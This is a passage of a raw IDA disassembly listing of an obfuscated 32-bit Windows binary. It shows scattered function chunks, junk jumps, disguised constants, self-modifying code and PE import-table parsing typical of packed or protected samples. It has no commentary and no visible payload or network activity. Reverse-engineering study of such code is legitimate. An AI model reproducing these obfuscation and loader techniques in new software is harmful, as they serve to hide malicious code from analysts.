; END OF FUNCTION CHUNK	FOR sub_40CC20

; =============== S U B	R O U T	I N E =======================================



sub_40C1A5	proc near		; CODE XREF: sub_40A382+1295j

; FUNCTION CHUNK AT 0040940F SIZE 00000005 BYTES

		push	ebp
		mov	eax, [ebp-20h]
		call	sub_40E749
		pop	ecx
		call	sub_40939B


loc_40C1B4:				; CODE XREF: sub_40D5BF-3E59j
		add	edx, 0D67DF54Bh
		push	offset loc_40D61E
		jmp	loc_40940F
sub_40C1A5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AD51


loc_40C1C4:				; CODE XREF: sub_40AD51+Dj
		jnz	loc_40E1E5
		jmp	loc_40FF09
; END OF FUNCTION CHUNK	FOR sub_40AD51
; ---------------------------------------------------------------------------


loc_40C1CF:				; DATA XREF: sub_40CEFE+1CF8o
		xor	edx, edx
		call	sub_40C298
		call	sub_40C641
		call	nullsub_150
; START	OF FUNCTION CHUNK FOR sub_40A8A6


loc_40C1E0:				; CODE XREF: sub_40CEFE:loc_409B17j
					; sub_40A8A6+4j
		mov	eax, ds:dword_40E410
		mov	[ebp-4], eax
		mov	eax, offset dword_40E538
		jmp	loc_40DC30
; END OF FUNCTION CHUNK	FOR sub_40A8A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A313


loc_40C1F2:				; CODE XREF: sub_40A313+Aj
					; o45kw3t9:0040C833j
		mov	al, [eax]
		call	sub_40A742


loc_40C1F9:				; CODE XREF: sub_40C8A6-50Aj
		jmp	nullsub_23
; END OF FUNCTION CHUNK	FOR sub_40A313
; ---------------------------------------------------------------------------
		xor	esi, 0A1E12368h
		jmp	sub_4090AA
; ---------------------------------------------------------------------------


loc_40C209:				; CODE XREF: o45kw3t9:0040FFA9j
		or	esi, 0AD466B37h
		pop	edi


loc_40C210:				; CODE XREF: o45kw3t9:loc_40A1B8j
		push	0DC474DD5h
		pop	eax
		rol	eax, 1Ch
		xor	eax, 0B72D3C48h
		jmp	loc_40EA61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FB9F


loc_40C224:				; CODE XREF: sub_40FB9F:loc_40FD27j
		or	edx, 7CB839B7h
		call	sub_40BAE8


loc_40C22F:				; CODE XREF: sub_40DFFD-D01j
		jmp	nullsub_112
; END OF FUNCTION CHUNK	FOR sub_40FB9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409E37


loc_40C234:				; CODE XREF: sub_409E37+8F1j
		jmp	sub_40BF98
; END OF FUNCTION CHUNK	FOR sub_409E37

; =============== S U B	R O U T	I N E =======================================



sub_40C239	proc near		; DATA XREF: o45kw3t9:0040B506o
		cmp	ax, 20FFh
		jz	loc_40D782
		xor	eax, eax
sub_40C239	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40C245:				; CODE XREF: sub_40D740+44j
		mov	[ebp-5], al
		mov	al, [ebp-5]
		pop	ecx
		pop	ecx
		pop	ebp
		jmp	locret_40D77C
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------

locret_40C253:				; CODE XREF: o45kw3t9:0040AA30j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AD7A


loc_40C254:				; CODE XREF: sub_40AD7A+1380j
		jmp	loc_40D484
; END OF FUNCTION CHUNK	FOR sub_40AD7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40C259:				; CODE XREF: sub_40CC20+313Ej
		jno	loc_40DA68


loc_40C25F:				; CODE XREF: sub_40CC20:loc_40C13Fj
		push	0AFD740AEh
		pop	eax
		and	eax, 9FA9BA75h
		jmp	loc_40C468
; END OF FUNCTION CHUNK	FOR sub_40CC20
; ---------------------------------------------------------------------------


loc_40C270:				; CODE XREF: o45kw3t9:0040A230j
		jnz	loc_40C508

; =============== S U B	R O U T	I N E =======================================



sub_40C276	proc near		; CODE XREF: sub_40D740:loc_40EA5Cp

; FUNCTION CHUNK AT 00409641 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0040A941 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		sub	al, 99h
		jmp	loc_40A941
sub_40C276	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40C282:				; CODE XREF: o45kw3t9:0040A54Cj
		jmp	loc_41002F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409472


loc_40C287:				; CODE XREF: sub_409472+E59j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_409472
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A259


loc_40C289:				; CODE XREF: sub_40A259+587Cj
		jmp	loc_40DA30
; END OF FUNCTION CHUNK	FOR sub_40A259
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DA15


loc_40C28E:				; CODE XREF: sub_40DA15+3D9j
		jmp	loc_40B986
; END OF FUNCTION CHUNK	FOR sub_40DA15
; ---------------------------------------------------------------------------


loc_40C293:				; CODE XREF: o45kw3t9:0040D9E0j
		jmp	loc_40DB01

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C298	proc near		; CODE XREF: sub_409472-115p
					; sub_40AE3B-1A82j ...

; FUNCTION CHUNK AT 0040AF90 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040E8F3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040FF0E SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		call	sub_40A3A2


loc_40C2A0:				; CODE XREF: sub_40E786:loc_40B4BAj
		pushf
		mov	esi, 3938829Ah
		jmp	loc_40E8F3
sub_40C298	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A742


loc_40C2AB:				; CODE XREF: sub_40A742:loc_409533j
		xor	eax, 0B6125D0Dh
		cmp	eax, 738FA1AEh
		jmp	loc_40971B
; END OF FUNCTION CHUNK	FOR sub_40A742
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_40C2BC:				; CODE XREF: sub_40A3A2-133Aj
		jnb	loc_4101C7
		jns	loc_40E930
		jmp	loc_40C4B3
; END OF FUNCTION CHUNK	FOR sub_40A3A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC53


loc_40C2CD:				; CODE XREF: sub_40EC53:loc_40B86Aj
		pop	ebp
		mov	eax, ds:dword_40CFB0
		or	eax, eax
		jnz	loc_4101D1
		jmp	loc_40C302
; END OF FUNCTION CHUNK	FOR sub_40EC53

; =============== S U B	R O U T	I N E =======================================



sub_40C2E1	proc near		; DATA XREF: sub_40D0CE+B14o

; FUNCTION CHUNK AT 0040C333 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D459 SIZE 0000000E BYTES

		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
		jmp	loc_40C333
sub_40C2E1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_40C2EC:				; CODE XREF: sub_40988C-184j
		call	sub_40D394


loc_40C2F1:				; CODE XREF: sub_40C6B7+63Fj
		jmp	loc_40DAA5
; END OF FUNCTION CHUNK	FOR sub_40988C
; ---------------------------------------------------------------------------


loc_40C2F6:				; CODE XREF: o45kw3t9:0040FF88j
		jnz	loc_409AFF
		jmp	loc_40D9F8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC53


loc_40C302:				; CODE XREF: sub_40EC53-2977j
		jmp	loc_40FCC0
; END OF FUNCTION CHUNK	FOR sub_40EC53
; ---------------------------------------------------------------------------


loc_40C307:				; CODE XREF: o45kw3t9:0040B9BFj
		jmp	loc_40D4E9
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_40E0E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E786


loc_40C312:				; CODE XREF: sub_40E786:loc_40E7A0j
					; sub_40E786+27j
		sub	eax, 841561BCh
		add	eax, 4015417Ch
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_40AA77
		jmp	loc_40DAC9
; END OF FUNCTION CHUNK	FOR sub_40E786
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ABFA


loc_40C32E:				; CODE XREF: sub_40ABFA+225Aj
		jmp	nullsub_35
; END OF FUNCTION CHUNK	FOR sub_40ABFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C2E1


loc_40C333:				; CODE XREF: sub_40C2E1+6j
		jmp	loc_40D459
; END OF FUNCTION CHUNK	FOR sub_40C2E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40942A


loc_40C338:				; CODE XREF: sub_40942A:loc_40E5E4j
		xor	ebx, 5276EEBAh
		jmp	loc_4096EA
; END OF FUNCTION CHUNK	FOR sub_40942A
; ---------------------------------------------------------------------------


loc_40C343:				; DATA XREF: sub_40BC53:loc_40B415o
		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409600


loc_40C34A:				; CODE XREF: sub_409600-112j
		jmp	loc_40E5D0
; END OF FUNCTION CHUNK	FOR sub_409600
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4090F8


loc_40C34F:				; CODE XREF: sub_4090F8+Cj
		jmp	loc_40ECA8
; END OF FUNCTION CHUNK	FOR sub_4090F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40C354:				; CODE XREF: sub_40D740-1C0Aj
					; sub_40F039-A09j
		inc	dword ptr [ebp-18h]


loc_40C357:				; CODE XREF: o45kw3t9:loc_409958j
		dec	dword ptr [ebp-1Ch]
		jnz	loc_40CB27
		jmp	loc_40E88E
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_40C365	proc near		; CODE XREF: sub_40943A-3A9p
					; sub_40E0E0-3174p ...

; FUNCTION CHUNK AT 0040E0AE SIZE 00000010 BYTES

		push	ebp
		jmp	loc_40E0AE
sub_40C365	endp

; ---------------------------------------------------------------------------


loc_40C36B:				; CODE XREF: o45kw3t9:loc_409CA3j
		xchg	eax, [esp]
		mov	[ebp-4], eax
		push	0B79CCA9Dh
		pop	eax
		rol	eax, 0Ah
		sub	eax, 88FB0EEAh
		jmp	loc_40EB2D
; ---------------------------------------------------------------------------


loc_40C385:				; CODE XREF: o45kw3t9:0040F194j
		jnz	loc_40EFB6
; START	OF FUNCTION CHUNK FOR sub_4091CB


loc_40C38B:				; CODE XREF: sub_4091CB+4j
		jmp	loc_40BFB1
; END OF FUNCTION CHUNK	FOR sub_4091CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C8A6


loc_40C390:				; CODE XREF: sub_40C8A6-C16j
		add	esi, ecx


loc_40C392:				; CODE XREF: sub_40C8A6:loc_40E8E2j
		call	sub_40CEFE
		push	offset sub_409AD7
		jmp	loc_40C1F9
; END OF FUNCTION CHUNK	FOR sub_40C8A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BAE8


loc_40C3A1:				; CODE XREF: sub_40BAE8:loc_40D538j
		xchg	edx, [esp-4+arg_0]
		jmp	loc_40D47A
; END OF FUNCTION CHUNK	FOR sub_40BAE8
; ---------------------------------------------------------------------------
		not	edi
		jmp	sub_40E9B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC83


loc_40C3B0:				; CODE XREF: sub_40EC83-F77j
		mov	eax, [ebp-4]
		push	offset loc_40E5B5
		jmp	nullsub_109
; END OF FUNCTION CHUNK	FOR sub_40EC83
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40C3BE:				; CODE XREF: o45kw3t9:0040F0DFj
		jmp	locret_40DAC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EFF0


loc_40C3C3:				; CODE XREF: sub_40EFF0+14j
		jmp	loc_40ABEE
; END OF FUNCTION CHUNK	FOR sub_40EFF0
; ---------------------------------------------------------------------------
aZ4HUpbBuRCbBi	db '‡4$h¶upB[ãÛRÊçá›',0 ; CODE XREF: o45kw3t9:loc_40F023j
					; DATA XREF: sub_40995E+1756o
		dd 241C87BEh, 0FFF5F3E9h
		db 0FFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BD10


loc_40C3E6:				; CODE XREF: sub_40BD10+13EBj
					; o45kw3t9:loc_40F19Fj
		jmp	sub_409FA8
; END OF FUNCTION CHUNK	FOR sub_40BD10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AD7A


loc_40C3EB:				; CODE XREF: sub_40AD7A+1F5Bj
		pop	edx
		ja	loc_40C0E9
		pop	edi
		jl	loc_40E031


loc_40C3F9:				; CODE XREF: sub_40AD7A:loc_40A27Dj
					; sub_40AD51+7j ...
		jmp	loc_40DF58
; END OF FUNCTION CHUNK	FOR sub_40AD7A
; ---------------------------------------------------------------------------
		jmp	loc_40CC08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6E8


loc_40C403:				; CODE XREF: sub_40E6E8:loc_4091FBj
		jz	loc_40C4A2
		jmp	loc_40D301
; END OF FUNCTION CHUNK	FOR sub_40E6E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_40C40E:				; CODE XREF: sub_40988C:loc_40B86Fj
		jz	loc_40FB88
		jmp	loc_40EF76
; END OF FUNCTION CHUNK	FOR sub_40988C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A551


loc_40C419:				; CODE XREF: sub_40A551+2028j
					; sub_40A551:loc_41022Aj
		cmp	dword ptr [ebp-8], 0A22F8A70h
		jz	loc_40A7A0
		mov	eax, [ebp-0Ch]
		push	offset loc_40A79B
		jmp	nullsub_26
; END OF FUNCTION CHUNK	FOR sub_40A551

; =============== S U B	R O U T	I N E =======================================



sub_40C433	proc near		; DATA XREF: sub_40C6B7:loc_40BC1Do

; FUNCTION CHUNK AT 0040A93C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C008 SIZE 0000000B BYTES

		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40FB88
		jmp	loc_40A93C
sub_40C433	endp

; ---------------------------------------------------------------------------


loc_40C447:				; CODE XREF: o45kw3t9:loc_41018Dj
		push	99F571BDh
		pop	ebx
		xor	ebx, ds:4000B8h
		sub	ebx, 1A453B7Ah
		add	ebx, 8484C646h
		xchg	ebx, [esp]
		jmp	loc_40DA93
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40C468:				; CODE XREF: sub_40CC20-9B5j
		call	sub_40C7AF
; END OF FUNCTION CHUNK	FOR sub_40CC20
; START	OF FUNCTION CHUNK FOR sub_40B5CB


loc_40C46D:				; CODE XREF: sub_40B5CB+453Fj
		jmp	sub_409121
; END OF FUNCTION CHUNK	FOR sub_40B5CB
; ---------------------------------------------------------------------------


loc_40C472:				; CODE XREF: o45kw3t9:loc_409982j
					; o45kw3t9:00409991j
		push	offset sub_409E9E
		jmp	loc_40EA91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E543


loc_40C47C:				; CODE XREF: sub_40E543:loc_40D062j
		mov	edx, [ebx+3Ch]
		mov	edx, [ebx+edx+80h]
		call	sub_40A170


loc_40C48B:				; CODE XREF: sub_40B23F+4C1Cj
		jmp	loc_40AA35
; END OF FUNCTION CHUNK	FOR sub_40E543
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A299


loc_40C490:				; CODE XREF: sub_40A299+170Fj
		jmp	loc_40C95F
; END OF FUNCTION CHUNK	FOR sub_40A299
; ---------------------------------------------------------------------------
		xchg	eax, edi
		jmp	sub_40E112
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6E8


loc_40C49C:				; CODE XREF: sub_40E6E8+1754j
		jnz	loc_40EDBB


loc_40C4A2:				; CODE XREF: sub_40E6E8:loc_40C403j
		push	eax
		push	83F3BABBh
		xchg	ebp, [esp+0]
		mov	eax, ebp
		pop	ebp
		jmp	loc_410314
; END OF FUNCTION CHUNK	FOR sub_40E6E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_40C4B3:				; CODE XREF: sub_40A3A2+1F26j
		sbb	edx, 1DE83554h
		push	0FE281C14h


loc_40C4BE:				; CODE XREF: sub_40A3A2:loc_40A7AFj
					; sub_40AC2F+2D7j ...
		call	sub_4091CB


loc_40C4C3:				; CODE XREF: sub_40D740:loc_40F0B7j
		jmp	loc_40A192
; END OF FUNCTION CHUNK	FOR sub_40A3A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D179


loc_40C4C8:				; CODE XREF: sub_40D179-2F01j
					; o45kw3t9:0040BE1Dj
		jmp	nullsub_67
; END OF FUNCTION CHUNK	FOR sub_40D179

; =============== S U B	R O U T	I N E =======================================



sub_40C4CD	proc near		; DATA XREF: sub_409FA8+49A0o
		pushf
		push	10D647C8h
		pop	eax
		or	eax, 4A74FB13h
		xor	eax, 5AF6FBDBh
		popf
		xchg	eax, [esp+0]
		pushf
		jmp	loc_40B386
sub_40C4CD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409AD7


loc_40C4EA:				; CODE XREF: sub_409AD7+40F8j
		cmp	edx, 0D33B0662h
		jmp	loc_409A27
; END OF FUNCTION CHUNK	FOR sub_409AD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40C4F5:				; CODE XREF: sub_40C674:loc_40A35Bj
		jz	loc_40C013
		jmp	loc_40CA9F
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------


loc_40C500:				; CODE XREF: o45kw3t9:loc_40A8C3j
		add	eax, 0F4663043h
		mov	eax, [eax]


loc_40C508:				; CODE XREF: o45kw3t9:loc_40C270j
		jmp	loc_40A7D6

; =============== S U B	R O U T	I N E =======================================



sub_40C50D	proc near		; CODE XREF: sub_40AD7A+1371j
		add	esp, 0FFFFFFCCh
		lea	eax, nullsub_4
		mov	byte ptr [eax],	0C3h
		push	esi
		push	31333C82h
sub_40C50D	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40A6F8


loc_40C51F:				; CODE XREF: sub_40A6F8:loc_40A766j
		pop	esi
		jmp	loc_40C02B
; END OF FUNCTION CHUNK	FOR sub_40A6F8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C525	proc near		; CODE XREF: o45kw3t9:loc_409A6Ap

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040B57C SIZE 00000004 BYTES

		xchg	ecx, [esp+0]
		mov	ecx, [esp+0]
		xchg	ebp, ecx
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		push	9316A4Eh
		mov	eax, offset sub_40B585
		jmp	loc_40B57C
sub_40C525	endp

; ---------------------------------------------------------------------------


loc_40C542:				; CODE XREF: o45kw3t9:loc_409E83j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40943A


loc_40C543:				; CODE XREF: o45kw3t9:loc_409591j
					; sub_40943A+32B7j
		jmp	loc_40A622
; END OF FUNCTION CHUNK	FOR sub_40943A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40C548:				; CODE XREF: sub_40D740-280Cj
		jmp	loc_409F67
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------


loc_40C54D:				; CODE XREF: o45kw3t9:0040AAFEj
		jmp	loc_40A495
; ---------------------------------------------------------------------------


loc_40C552:				; DATA XREF: o45kw3t9:0040EAE0o
		add	eax, 9AFB087Eh
		add	eax, ebp
		add	eax, 0BE6D375Ah
		mov	eax, [eax]
		jmp	loc_40F199
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B5CB


loc_40C568:				; CODE XREF: sub_40B5CB+376Aj
		jmp	loc_40DC18
; END OF FUNCTION CHUNK	FOR sub_40B5CB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E7B2


loc_40C56E:				; CODE XREF: sub_40E7B2-4A38j
		jmp	nullsub_68
; END OF FUNCTION CHUNK	FOR sub_40E7B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A551


loc_40C573:				; CODE XREF: sub_40A551+14j
		mov	eax, [ebp-0Ch]
		cmp	eax, [ebp-14h]
		jb	loc_40C419
		mov	eax, [ebp-10h]
		mov	eax, [eax+64h]
		add	eax, [ebp-14h]
		cmp	eax, [ebp-0Ch]
		ja	loc_40D1F9
		jmp	loc_41022A
; END OF FUNCTION CHUNK	FOR sub_40A551
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409472


loc_40C596:				; CODE XREF: sub_409472:loc_40BB63j
		lea	eax, [ebp-14h]
		push	eax
		call	sub_40FC1D
		mov	ds:dword_40E52C, eax
		mov	ds:byte_40FA00,	1
		jmp	loc_40B85F
; END OF FUNCTION CHUNK	FOR sub_409472

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C5B0	proc near		; CODE XREF: sub_40C641j
					; sub_40E893+139Bj

; FUNCTION CHUNK AT 0040EEED SIZE 00000029 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		jmp	loc_40EEED
sub_40C5B0	endp

; ---------------------------------------------------------------------------


loc_40C5BB:				; CODE XREF: o45kw3t9:loc_409F28j
		mov	ds:dword_40CCB4, eax
; START	OF FUNCTION CHUNK FOR sub_40E65D


loc_40C5C1:				; CODE XREF: o45kw3t9:loc_40DD7Ej
					; sub_40E65D+2j
		xor	eax, 0C218D3FBh
		call	sub_40BD10
; END OF FUNCTION CHUNK	FOR sub_40E65D
; START	OF FUNCTION CHUNK FOR sub_40A6BB


loc_40C5CC:				; CODE XREF: sub_40A6BB+13j
		jmp	nullsub_27
; END OF FUNCTION CHUNK	FOR sub_40A6BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A05D


loc_40C5D1:				; CODE XREF: sub_40A05D:loc_4100BDj
		add	eax, ebp
		push	ebx
		push	0EE40B7B2h
		pop	ebx
		sub	ebx, 54534546h
		and	ebx, 322A8AE7h
		test	ebx, 200h
; END OF FUNCTION CHUNK	FOR sub_40A05D
; START	OF FUNCTION CHUNK FOR sub_40A742


loc_40C5EC:				; CODE XREF: sub_40A742:loc_4095CDj
		jmp	loc_409876
; END OF FUNCTION CHUNK	FOR sub_40A742
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40C5F3	proc near		; CODE XREF: o45kw3t9:0040AC1Ej
					; o45kw3t9:loc_40CD14p

; FUNCTION CHUNK AT 0040C654 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DC5E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040FD63 SIZE 00000008 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	eax, ebp
		add	eax, 8267D7E2h
		mov	eax, [eax]
		jmp	loc_40C654
sub_40C5F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40C606:				; CODE XREF: o45kw3t9:0040A425j
		sbb	ebp, 0F57EC3A5h

; =============== S U B	R O U T	I N E =======================================



sub_40C60C	proc near		; CODE XREF: sub_40942A+51B5p
		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [ebp-4]
		inc	eax
		mov	eax, [eax]
		jmp	loc_40D991
sub_40C60C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_40C61B:				; CODE XREF: sub_40909E+4328j
		xor	edx, edi


loc_40C61D:				; CODE XREF: sub_40909E:loc_40AB78j
		mov	eax, [ebp-108h]
		mov	byte ptr [ebp+eax-100h], 0
		push	234576C6h
		jmp	loc_40DC3C
; END OF FUNCTION CHUNK	FOR sub_40909E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FA51


loc_40C636:				; CODE XREF: o45kw3t9:0040A958j
					; sub_40FA51+7j
		inc	dword ptr [ebp-8]
		inc	dword ptr [ebp-0Ch]
		jmp	loc_40E08A
; END OF FUNCTION CHUNK	FOR sub_40FA51

; =============== S U B	R O U T	I N E =======================================



sub_40C641	proc near		; CODE XREF: o45kw3t9:0040BC49p
					; o45kw3t9:0040C1D6p ...
		jnb	sub_40C5B0
		push	ebp
		mov	ebp, esp
		call	sub_409472
sub_40C641	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40C64F:				; CODE XREF: sub_40D740+37j
		jmp	loc_409131
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C5F3


loc_40C654:				; CODE XREF: sub_40C5F3+Ej
		jmp	loc_40DC5E
; END OF FUNCTION CHUNK	FOR sub_40C5F3
; ---------------------------------------------------------------------------
		sub	ebp, 7B298B06h
		jmp	loc_40EED3
; ---------------------------------------------------------------------------


loc_40C664:				; DATA XREF: sub_409233:loc_409239o
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40FB19
		jmp	loc_40D312
; ---------------------------------------------------------------------------


loc_40C672:				; CODE XREF: o45kw3t9:0040A73Dj
		xchg	eax, ebp

; =============== S U B	R O U T	I N E =======================================



sub_40C674	proc near		; CODE XREF: sub_40E562-1C86p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00409015 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409485 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 004095DB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004099AD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409B99 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0040A35B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A68E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A98D SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040A9C0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040A9F1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040AE85 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040B651 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040B79E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BC27 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040BF28 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040BF62 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C4F5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C8A1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CA61 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040CA9F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CB6C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040CEED SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040CFC9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D63E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DCC4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040EE5A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040F08C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040F0F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F1B0 SIZE 0000000A BYTES

		mov	[esp+0], eax
		pop	eax
		add	edx, 0A894D358h
		jmp	loc_40C8A1
sub_40C674	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C683	proc near		; CODE XREF: sub_40D996:loc_40B6BBp
					; o45kw3t9:0040C18Dj

; FUNCTION CHUNK AT 0040B952 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00410225 SIZE 00000005 BYTES

		mov	[esp+0], ebx
		pop	ebx
		add	esp, 0FFFFFED8h
		mov	[ebp-8], edx
		jmp	loc_410225
sub_40C683	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



